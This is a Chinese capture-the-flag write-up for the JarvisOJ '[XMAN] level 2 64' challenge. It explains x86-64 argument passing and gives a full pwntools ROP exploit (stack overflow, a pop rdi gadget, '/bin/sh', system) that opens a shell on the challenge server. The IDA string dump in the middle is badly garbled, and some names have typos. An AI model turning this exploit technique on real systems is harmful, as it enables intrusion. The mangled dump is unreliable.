# —.[XMAN] level 2 64位

练习平台: <a href="https://www.jarvisoj.com/challenges">https://www.jarvisoj.com/challenges</a>

题目: [XMAN] level 2 64

```
zzw@ubuntu:~/Desktop/pwn/2_x64$ chmod +x level2_x64
zzw@ubuntu:~/Desktop/pwn/2_x64$ ./level2_x64
Input:
111111111
Hello World!
zzw@ubuntu:~/Desktop/pwn/2_x64$ file level2_x64
level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically lin ked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped
zzw@ubuntu:~/Desktop/pwn/2_x64$
```

二.IDA分析

### 2.1 查看程序逻辑

```
int __cdecl main(int argc, const char **envp)
{
   vulnerable_function(*(_QWORD *)&argc, argv, envp);
   return system("echo 'Hello World!'");
}
```

溢出点

```
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
  system("echo Input:");
  return read(0, &buf, 0x200uLL);
}
```

system函数

```
int system(const char *command)
{
   return system(command);
}
```

/bin/sh字符串

LOAD:00000000000400341 000000B C libdl.so.2 LOAD:00000000000040034C 0000001C CITM_deregisterTMCloneTable LOAD:000000000000040034C 000000F Cgmon_start LOAD:000000000000400377 00000014 CJv_RegisterClasses LOAD:00000000000040038B 0000001A CITM_registerTMCloneTable LOAD:0000000000004003A5 000000A C libc.so.6 LOAD:0000000000004003AF 00000005 C read LOAD:0000000000004003B4 00000007 C system LOAD:0000000000004003BB 00000007 C system LOAD:0000000000004003BB 0000000 C GLIBC_2.2.5 LOAD:000000000000000000000000000000000000	Address	Length	Туре	String
LOAD:0000000000040034C 0000001C CITM_deregisterTMCloneTable LOAD:0000000000000400368 0000000F Cgmon_start LOAD:000000000000000000000000000000000000	S LOAD:000000000400200	0000001C	С	/lib64/ld-linux-x86-64.so.2
LOAD:000000000000000000000000000000000000	🚮 LOAD:0000000000400341	0000000B	С	libdl.so.2
LOAD:000000000000000000000000000000000000	🚮 LOAD:000000000040034C	0000001C	С	_ITM_deregisterTMCloneTable
LOAD:000000000040038B	🚼 LOAD:000000000400368	0000000F	С	gmon_start
LOAD:000000000004003A5 0000000A C libc.so.6 LOAD:000000000004003AF 00000005 C read LOAD:0000000000004003B4 00000007 C system LOAD:000000000004003BB 00000012 Clibc_start_main LOAD:00000000004003CD 0000000C C GLIBC_2.2.5 .rodata:00000000004006D4 0000000C C echo Input: .rodata:00000000004006E0 00000014 C echo 'Hello World!' .eh_frame:0000000000400797 00000006 C ;*3\$\"	🚼 LOAD:0000000000400377	00000014	С	_Jv_RegisterClasses
LOAD:00000000004003AF	🚼 LOAD:000000000040038B	0000001A	С	_ITM_registerTMCloneTable
LOAD:00000000004003B4	🚼 LOAD:00000000004003A5	A000000A	С	libc.so.6
LOAD:00000000004003BB	🔢 LOAD:0000000004003AF	00000005	С	read
LOAD:00000000004003CD	🔂 LOAD:00000000004003B4	00000007	С	system
s .rodata:00000000000000000000	🔢 LOAD:0000000004003BB	00000012	С	libc_start_main
s .rodata:00000000004006E0 00000014 C echo 'Hello World!' 	ጜ LOAD:00000000004003CD	0000000C	С	GLIBC_2.2.5
s .eh_frame:0000000000400797 00000006 C ;*3\$\"	🔢 .rodata:00000000004006D4	0000000C	С	echo Input:
	🔢 .rodata:00000000004006E0	00000014	С	echo 'Hello World!'
- da+a⋅00000000000000000 000000000 C /bin/ch	🔢 .eh_frame:0000000000400797	00000006	С	;*3\$\″
. data. coccoccoccoccoccoccoccoccoccoccoccoccoc	🛐 .data:0000000000600A90	80000000	С	/bin/sh

### 2.2 安全机制

```
zzw@ubuntu:~/Desktop/pwn/2_x64$ checksec level2_x64
[*] '/home/zzw/Desktop/pwn/2_x64/level2_x64'
    Arch:    amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:     NX enabled
    PIE:    No PIE (0x400000)
zzw@ubuntu:~/Desktop/pwn/2_x64$
```

堆栈不能执行, 地址未随机化

## 2.3 分析

该程序与前文32位程序逻辑一样。32位程序的poc布局在本次失效。

原因就在于传递参数的方式不同。32位程序使用栈传递参数,而64程序使用寄存器传递参数。

#### 在32位程序运行中,函数参数直接压入栈中

调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

#### 在64位程序运行中,参数传递需要寄存器

64位参数传递约定: 前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中参数超过六个时, 从第七个开始压入栈中。

这时就需要rop编程。

• 首先需要将"/bin/sh"参数传递给rdi寄存器

"/bin/sh"地址: 0x600a90 (也可以在IDA中静态获取)

寻找 pop rdi; ret 指令

```
zzw@ubuntu:~/Desktop/pwn/2_x64$ ROPgadget --binary level2_x64 --only "pop|ret"
| grep rdi
0x00000000004006b3 : pop rdt ; ret
zzw@ubuntu:~/Desktop/pwn/2_x64$
```

• system地址

这个可以使用ida中的地址,因为地址没有被随机化。 也可以使用pwntools中的方法:

```
elf = ELF('./name')
system_addr = elf.symbols( ['sysytem'] )
```

## 3.4 poc编写

```
from pwn import *
#pro = process('./level1')
pro=remote('pwn2.jarvisoj.com',9882)
system_addr=0x04004C0
binsh_addr=0x600a90
rdi_ret= 0x4006b3
data=pro.recv(100).decode()

shellcode=flat(['a'*(0x80+8),p64(rdi_ret),p64(binsh_addr),p64(system_addr)])
pro.send(shellcode)
pro.interactive()
pro.close()
```

#### 这里有几点要说明:

- 关于rop中的ret。这个需要好好理解,对于eip的移动至关重要
- 64位程序是使用寄存器入参。之后再调用函数。形如

```
00608:
             48 8d 45 80
                                               -0x80(%rbp),%rax
                                       lea
0060c:
             ba 00 02 00 00
                                       MOV
                                               $0x200,%edx
00611:
             48 89 c6
                                       MOV
                                               %rax,%rsi
00614:
             bf 00 00 00 00
                                               $0x0,%edi
                                       mov
             e8 b2 fe ff ff
                                              4004d0 <read@plt>
00619:
                                       callq
0061e:
             c9
                                       leaveg
0061f:
             c3
                                       retq
```